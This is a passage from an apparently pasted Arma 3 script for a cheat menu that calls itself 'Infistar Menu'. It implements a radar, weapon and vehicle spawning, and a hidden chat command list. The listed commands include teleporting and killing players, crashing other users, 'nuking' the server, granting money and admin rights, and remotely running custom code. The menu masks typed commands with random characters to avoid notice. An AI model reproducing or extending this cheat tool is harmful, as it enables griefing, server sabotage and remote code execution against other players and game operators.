  831. _h = pixelH * _mapSize;
  832. _xCenter = _x + (_w / 2);
  833. _yCenter = _y + (_h / 2);
  834. _pos1 = ((findDisplay 12) displayCtrl 51) ctrlMapScreenToWorld [_x,_y];
  835. _pos2 = ((findDisplay 12) displayCtrl 51) ctrlMapScreenToWorld [_x,_y + _h];
  836. _pos3 = ((findDisplay 12) displayCtrl 51) ctrlMapScreenToWorld [_x + _w,_y];
  837. _pos4 = ((findDisplay 12) displayCtrl 51) ctrlMapScreenToWorld [_x + _w,_y + _h];
  838. ((findDisplay 12) displayCtrl 51) drawLine [_pos1,_pos2,[1,0,0,1]];
  839. ((findDisplay 12) displayCtrl 51) drawLine [_pos1,_pos3,[0,1,0,1]];
  840. ((findDisplay 12) displayCtrl 51) drawLine [_pos3,_pos4,[0,0,1,1]];
  841. ((findDisplay 12) displayCtrl 51) drawLine [_pos2,_pos4,[0,1,1,1]];
  842. _cX = _x;
  843. {
  844. if(alive _x) then {
  845. _myPos = getPos player;
  846. _tPos = getpos _x;
  847. _dX = ((_tPos select 0) - (_myPos select 0)) / (_checkDistance / (_mapSize/2));
  848. _dY = ((_myPos select 1) - (_tPos select 1)) / (_checkDistance / (_mapSize/2));
  849. _xPos = _xCenter + (pixelW * _dX);
  850. _yPos = _yCenter + (pixelH * _dY);
  851. _pos = ((findDisplay 12) displayCtrl 51) ctrlMapScreenToWorld [_xPos,_yPos];
  852. _color = [0.33,0.33,1,1];
  853. if(_x isKindOf "Man") then {
  854. _color = [1,0.33,0.33,1];
  855. };
  856. if(_x == player) then {
  857. _color = [0.33,1,0.33,1];
  858. };
  859. _icon = getText(configFile >> "CfgVehicles" >> typeof _x >> "Icon");
  860. ((findDisplay 12) displayCtrl 51) drawIcon [
  861. _icon,
  862. _color,
  863. _pos,
  864. _mapScale,
  865. _mapScale,
  866. getdir _x,
  867. ".",
  868. 0,
  869. 0.01,
  870. "TahomaB",
  871. "Center"
  872. ];
  873. };
  874. } forEach _objects;
  875. }];
  876. ["RDREH",_eh] call _setVariable;
  877. } else {
  878. _eh = ["RDREH",0] call _getVariable;
  879. removeMissionEventHandler ["Eachframe",_eh];
  880. };
  881. };
  882.  
  883.  
  884. hintSilent "loading....";
  885.  
  886. _sData = [
  887. ["",{},"Teleport Scripts (working)"],
  888. ["tpt",_tpt,"[target name] T e l e p o r t to a target"],
  889. ["tph",_tph,"[target name] T e l e p o r t a target here"],
  890. ["tpa",_tpa,"T e l e p o r t all to you"],
  891. ["tpm",_tpm,"T e l e p o r t using the map"],
  892. ["",{},"Target Scripts (working)"],
  893. ["ktp",_ktp,"Kill target"],
  894. ["",{},"Standard Scripts (working)"],
  895. ["mssg",_mssg,"35sP"],
  896. ["mpsg",_mpsg,"M4P 35sP"],
  897. ["ico",_ico,"Toggles player icons on/off"],
  898. ["rdr",_radar,"[distance, scale, uisize] Toggles 2D radar on/off"],
  899. ["iam",_iam,"Toggles Ammo Auto Refill on/off"],
  900. ["gvam",_gvam,"Give ammo for gun"],
  901. ["ns",_ns,"Toggles No Sway on/off"],
  902. ["gd",_goymode,"Toggles Autoheal on/off"],
  903. ["",{},"Troll Scripts (working)"],
  904. ["l",_l,"Launches cursor vehicle up"],
  905. ["ln",_ln,"Launches nearest vehicle into the air"],
  906. ["la",_la,"Launches all vehicles into the air"],
  907. ["",{},"Explosive Scripts (working)"],
  908. ["cr",_cr,"Crash user"],
  909. ["nk",_nk,"N u K e the server"],
  910. ["sw",_sw,"Shock wave"],
  911. ["bw",_bw,"Blast wave"],
  912. ["dlcu",_dlcu,"Destroy Target Cursor"],
  913. ["",{},"Spawn Scripts (working)"],
  914. ["spw",_spw,"Spawn a weapon"],
  915. ["spw1",_spw1,"Spawn Loadout 1"],
  916. ["spw2",_spw2,"Spawn Loadout 2"],
  917. ["GDiam",_GDiam,"Spawn Diamond"],
  918. ["",{},"Altis Scripts(working)"],
  919. ["Pur",_pur,"Unrestrain"],
  920. ["Gck",_gck,"Get cursor car key"],
  921. ["Lice",_Lice,"Give all License"],
  922. ["Money",_Mny,"Give Money"],
  923. ["GAdm",_Gadm,"Give admin right"],
  924. ["",{},"Exile Scripts (working)"],
  925. ["Stfb",_sfpb,"get stolen flag to sell"],
  926. ["",{},"Misc Scripts (working)"],
  927. ["run",_run,"Run custom code"],
  928. ["runre",_runr,"Remote Run custom code"],
  929. ["leave",_leave,"Leave the server"]
  930. ];
  931.  
  932. _sData pushBack ["exit",{},"Exits the menu"];
  933. ["sData",_sData] call _setVariable;
  934.  
  935. hintSilent "loading.....";
  936.  
  937. [_getVariable] spawn {
  938. _getVariable = _this select 0;
  939.  
  940. disableSerialization;
  941. 15401 cutrsc ["rscDynamicText","plain"];
  942.  
  943. _display = uinamespace getvariable "BIS_dynamicText";
  944. _control = _display displayctrl 9999;
  945. _control ctrlsetposition [safezonex,safezoney,safezonew,safezoneh/20];
  946. _control ctrlsetbackgroundcolor [0,0,0,0];
  947. _control ctrlsettextcolor [random(1),random(1),random(1),1];
  948. _control ctrlSetStructuredText parseText "<t size='0.8' align='center'>Infistar Menu</t>";
  949. _control ctrlCommit 0;
  950. while{["runloops",false] call _getVariable} do {
  951. _control ctrlsettextcolor [random(1),random(1),random(1),1];
  952. _control ctrlCommit 0;
  953. uiSleep 0.1;
  954. };
  955. 15401 cutText ["","PLAIN"];
  956. };
  957.  
  958. [_getVariable] spawn {
  959. _getVariable = _this select 0;
  960. while{["runloops",false] call _getVariable} do {
  961. uiSleep 0.1;
  962. ExileClientPlayerLastCombatAt = 0;
  963. };
  964. };
  965. hintSilent "loading......";
  966. weaponList = [];
  967. _weaponConfig = configFile >> "cfgWeapons";
  968. for "_i" from 0 to (count _weaponConfig)-1 do {
  969. _weapon = _weaponConfig select _i;
  970. if (isClass _weapon) then {
  971. _weaponName = configName _weapon;
  972. _ulx = toArray _weaponName;
  973. _ulx resize 7;
  974. _ulx;
  975. _ulx = toString _ulx;
  976. if ((_ulx != "ItemKey") and (getNumber (_weapon >> "scope") == 2) and ((getText (configFile >> "cfgWeapons" >> _weaponName >> "picture")) != "")) then {
  977. weaponList = weaponList + [_weaponName];
  978. };
  979. };
  980. };
  981. _showVehs = {
  982.  
  983.  
  984.  
  985. _CameraList = findDisplay 24 ctrlCreate ["RscListBox", 1337];
  986.  
  987.  
  988. _CameraList ctrlCommit 0;
  989. _CameraList ctrlSetPosition [0.002,0.53,0.75 * (0.65),3.8 * (0.2)];
  990. _CameraList ctrlCommit 0.5;
  991. _CameraList ctrlSetEventHandler ["LbDBlClick","call FawfwaP_Veh;"];
  992.  
  993. _CameraList ctrlShow true;
  994.  
  995. _CameraList lbAdd "Vehicle Spawning";
  996.  
  997. for "_i" from 0 to (count Jay_vehicle_list)-1 do
  998. {
  999. _vehicles = Jay_vehicle_list select _i;
  1000.  
  1001. _CameraList lbAdd _vehicles;
  1002. _CameraList lbSetPicture [_i, (getText (configFile >> "cfgVehicles" >> _vehicles >> "picture"))];
  1003. };
  1004. lbSort _CameraList;
  1005. FawfwaP_Veh =
  1006. {
  1007. _ctrl = _this select 0;
  1008. _index = _this select 1;
  1009. _vehicle_chosen = _ctrl lbText _index;
  1010. _dir = getDir vehicle player;
  1011. _pos1 = getPos vehicle player;
  1012. _pos = [(_pos1 select 0) + 5*(sin _dir), (_pos1 select 1) + 5*(cos _dir), (_pos1 select 2)];
  1013. _vehicle_chosen createVehicle _pos;
  1014. };
  1015. };
  1016. _showWeps = {
  1017.  
  1018.  
  1019. _CameraList2 = findDisplay 24 ctrlCreate ["RscListBox", 1];
  1020.  
  1021.  
  1022. _CameraList2 ctrlCommit 0;
  1023. _CameraList2 ctrlSetPosition [0.502,0.53,0.75 * (0.65),3.8 * (0.2)];
  1024. _CameraList2 ctrlCommit 0.5;
  1025. _CameraList2 ctrlSetEventHandler ["LbDBlClick","call bpbpwc_Wep;"];
  1026.  
  1027. _CameraList2 ctrlShow true;
  1028.  
  1029.  
  1030.  
  1031. for "_i" from 0 to (count weaponList)-1 do
  1032. {
  1033. _weapon = weaponList select _i;
  1034. _CameraList2 lbAdd _weapon;
  1035. _CameraList2 lbSetPicture [_i, (getText (configFile >> "cfgWeapons" >> _weapon >> "picture"))];
  1036.  
  1037. };
  1038.  
  1039.  
  1040.  
  1041.  
  1042. bpbpwc_Wep =
  1043. {
  1044. _ctrl = _this select 0;
  1045. _index = _this select 1;
  1046. _weapon_selected = _ctrl lbText _index;
  1047. if (_weapon_selected != "") then
  1048. {
  1049. _ammo_class_name = getArray(configFile >> "cfgWeapons" >> _weapon_selected >> "magazines");
  1050. _ammo = _ammo_class_name select 0;
  1051.  
  1052. player addWeapon _weapon_selected;
  1053. player addMagazine _weapon_selected;
  1054. player forceAddUniform _weapon_selected;
  1055. player addBackpackGlobal _weapon_selected;
  1056. player addMagazine _ammo;player addMagazine _ammo;
  1057. player addMagazine _ammo;player addMagazine _ammo;
  1058. reload player;
  1059.  
  1060. systemChat format["[INFISTARde] Weapon Spawned : %1",_weapon_selected];
  1061. };
  1062. };
  1063.  
  1064.  
  1065.  
  1066.  
  1067. };
  1068.  
  1069. _showCmds = {
  1070. 15403 cutrsc ["rscDynamicText","plain"];
  1071. _display = uinamespace getvariable "BIS_dynamicText";
  1072. _control = _display displayctrl 9999;
  1073. _control ctrlsetposition [safezonex + safezonew - (safezonew/5) - 0.001,0,safezonew/5,(safezoneh/2) + 0.45];
  1074. _control ctrlsetbackgroundcolor [0,0,0,0.75];
  1075. _control ctrlsettextcolor [1,1,1,1];
  1076. _text = "<t size='0.45' color='#FF0000' align='center'>Command Referance<br/></t><t size='0.4' align='left'>";
  1077. {
  1078. if((_x select 0) != "") then {
  1079. _text = _text + "<t color='#00ff0c'>" + (_x select 0) + "</t>: " + (_x select 2) + "<br/>";
  1080. } else {
  1081. _text = _text + "<t size='0.425' align='center' color='#FFA500'>" + (_x select 2) + "</t><br/>";
  1082. };
  1083. } forEach _sData;
  1084. _text = _text + "</t>";
  1085. _control ctrlSetStructuredText parseText _text;
  1086. _control ctrlCommit 0;
  1087. };
  1088.  
  1089. hintSilent "loading.......";
  1090.  
  1091. _showPlrs = {
  1092. 15404 cutrsc ["rscDynamicText","plain"];
  1093. _display = uinamespace getvariable "BIS_dynamicText";
  1094. _control = _display displayctrl 9999;
  1095. _control ctrlsetposition [safezonex + 0.001,0,safezonew/5,(safezoneh/2) + 0.45];
  1096. _control ctrlsetbackgroundcolor [0,0,0,0.75];
  1097. _control ctrlsettextcolor [1,1,1,1];
  1098. _text = "<t size='0.45' align='center' color='#00ff48'>Players<br/></t><t align='left' size='0.4'>";
  1099. _players = allPlayers apply { [_x distance player, _x] };
  1100. _players sort true;
  1101. {
  1102. _text = _text + "<t color='#FFFF00'>" + (name (_x select 1)) + "</t> (" + str(round(_x select 0)) + "m)<br/>";
  1103. } forEach _players;
  1104. _text = _text + "</t>";
  1105. _control ctrlSetStructuredText parseText _text;
  1106. _control ctrlCommit 0;
  1107. };
  1108.  
  1109. hintSilent ("Infistar.de Loaded\nOpen the chat and type # to use");
  1110.  
  1111. scopeName "leavedisshit";
  1112. while{true} do {
  1113. 15402 cutText ["","PLAIN"];
  1114. 15403 cutText ["","PLAIN"];
  1115. 15404 cutText ["","PLAIN"];
  1116. 15405 cutText ["","PLAIN"];
  1117. showChat true;
  1118. waitUntil{!isNull (findDisplay 24)};
  1119. showChat false;
  1120. _open = false;
  1121. _ctrl = (findDisplay 24) displayCtrl 101;
  1122. while{!isNull (findDisplay 24)} do {
  1123. if(ctrlText _ctrl == "#") exitWith {
  1124. _open = true;
  1125. _ctrl ctrlSetText "";
  1126. };
  1127. uiSleep 0.1;
  1128. };
  1129. if(_open) then {
  1130. call _showVehs;
  1131. call _showWeps;
  1132. call _showCmds;
  1133. call _showPlrs;
  1134. 15402 cutrsc ["rscDynamicText","plain"];
  1135. _display = uinamespace getvariable "BIS_dynamicText";
  1136. _control = _display displayctrl 9999;
  1137. _control ctrlsetposition [safezonex,safezoney + (safezoneh/20) + (safezoneh/40),safezonew,safezoneh/10];
  1138. _control ctrlsetbackgroundcolor [0,0,0,0.75];
  1139. _control ctrlsettextcolor [1,1,1,1];
  1140. _control ctrlSetStructuredText parseText "<t size='0.8' align='center'>Type the command into the box. Real text appears here.<br/>A list of commands is in the bottom left of your screen.<br/>Press ESCAPE to submit command.</t>";
  1141. _control ctrlCommit 0;
  1142.  
  1143. _display = findDisplay 24;
  1144. _ctrl = _display displayCtrl -1;
  1145. _dims = ctrlPosition _ctrl;
  1146. _dims set [0,0];
  1147. _dims set [1,0.4];
  1148. _dims set [2,1];
  1149. _ctrl ctrlSetPosition _dims;
  1150. _ctrl ctrlSetBackgroundColor [0,0,0,0.75];
  1151. _ctrl ctrlCommit 0;
  1152. _ctrl = _display displayCtrl 101;
  1153. _dims = ctrlPosition _ctrl;
  1154. _dims set [0,0];
  1155. _dims set [1,0.4];
  1156. _dims set [2,1];
  1157. _ctrl ctrlSetPosition _dims;
  1158. _ctrl ctrlCommit 0;
  1159.  
  1160. _chattext = "";
  1161. _fakeTEXT = "";
  1162. while{true} do {
  1163. _text = ctrlText _ctrl;
  1164. waitUntil{isNull _display || _text != ctrlText _ctrl};
  1165. if(isNull _display) exitWith {
  1166. if(_chattext == "") exitWith {};
  1167. _parts = _chattext splitString " ";
  1168. _command = _parts deleteAt 0;
  1169. if(toLower(_command) == "exit") exitWith {
  1170. hint "Exiting Script...\n\nWarning: Errrors May Occur";
  1171. breakto "leavedisshit";
  1172. };
  1173. _executed = false;
  1174. {
  1175. _cmd = _x select 0;
  1176. _code = _x select 1;
  1177. if(toLower(_cmd) == toLower(_command)) exitWith {
  1178. hintSilent "";
  1179. _executed = true;
  1180. [_parts,_getVariable,_setVariable] spawn _code;
  1181. };
  1182. } forEach _sData;
  1183. if(!_executed) then {
  1184. hint "That is not a command!";
  1185. };
  1186. };
  1187. _newText = ctrlText _ctrl;
  1188. _arrayO = toArray(_text);
  1189. _arrayN = toArray(_newText);
  1190. _lenO = count(_arrayO);
  1191. _lenN = count(_arrayN);
  1192. if(_lenO > _lenN) then {
  1193. _chattext = _chattext select [0,_lenN];
  1194. _fakeTEXT = _fakeTEXT select [0,_lenN];
  1195. };
  1196. if(_lenO < _lenN) then {
  1197. _dif = _lenN - _lenO;
  1198. _subStr = _newText select [_lenO,_dif];
  1199. _chattext = _chattext + _subStr;
  1200. for "_i" from 1 to _dif do {
  1201. _a = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","1","2","3","4","5","6","7","8","9","0"];
  1202. _l = _a select floor(random(count(_a)));
  1203. _upper = (random(1) > 0.5);
  1204. if(_upper) then {
  1205. _l = toUpper(_l);
  1206. };
  1207. _fakeTEXT = _fakeTEXT + _l;
  1208. };
  1209. _ctrl ctrlSetText _fakeTEXT;
  1210. };
  1211. _control ctrlSetStructuredText parseText ("<t size='0.8' align='center'>" + format["text: %1",_chattext] + "</t>");
  1212. if(_chattext != "") then {
  1213. _p1 = [];
  1214. _p2 = [];
  1215. {
  1216. _cmd = _x select 0;
  1217. _desc = _x select 2;
  1218. _index = (toLower(_cmd) find toLower(_chattext));
  1219. if(_index == 0) then {
  1220. _p1 pushback [_cmd,_desc];
  1221. } else {
  1222. if(_index != -1) then {
  1223. _p2 pushBack [_cmd,_desc];
  1224. };
  1225. };
  1226. } forEach _sData;
  1227. _predictions = [];
  1228. _show = false;
  1229. if(count(_p1) > 0) then {
  1230. _predictions = _p1;
  1231. _show = true;
  1232. } else {
  1233. if(count(_p2) > 0) then {
  1234. _predictions = _p2;
  1235. _show = true;
  1236. };
  1237. };
  1238.  
  1239. if(_show) then {
  1240. _predictions sort true;
  1241.  
  1242. 15405 cutrsc ["rscDynamicText","plain"];
  1243. _d = uinamespace getvariable "BIS_dynamicText";
  1244. _c = _d displayctrl 9999;
  1245. _c ctrlsetposition [0,0.4 + (_dims select 3),0.5,(_dims select 3) * count(_predictions)];
  1246. _c ctrlsetbackgroundcolor [0,0,0,0.75];
  1247. _c ctrlsettextcolor [1,1,1,1];
  1248.  
  1249. _t = "<t size='0.4' align='left'>";
  1250. {
  1251. _t = _t + "<t color='#FFFF00'>" + (_x select 0) + "</t>: " + (_x select 1) + "<br/>";
  1252. } forEach _predictions;
  1253. _t = _t + "</t>";
  1254. _c ctrlSetStructuredText parseText _t;
  1255. _c ctrlCommit 0;
  1256.  
  1257. } else {
  1258. 15405 cutText ["","PLAIN"];
  1259. };
  1260. } else {
  1261. 15405 cutText ["","PLAIN"];
  1262. };
  1263.  
  1264. };
  1265. };
  1266. };
  1267. ["runloops",false] call _setVariable;
  1268. 15402 cutText ["","PLAIN"];
  1269. 15403 cutText ["","PLAIN"];
  1270. 15404 cutText ["","PLAIN"];
  1271. 15405 cutText ["","PLAIN"];
  1272.  
  1273.  
  1274. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement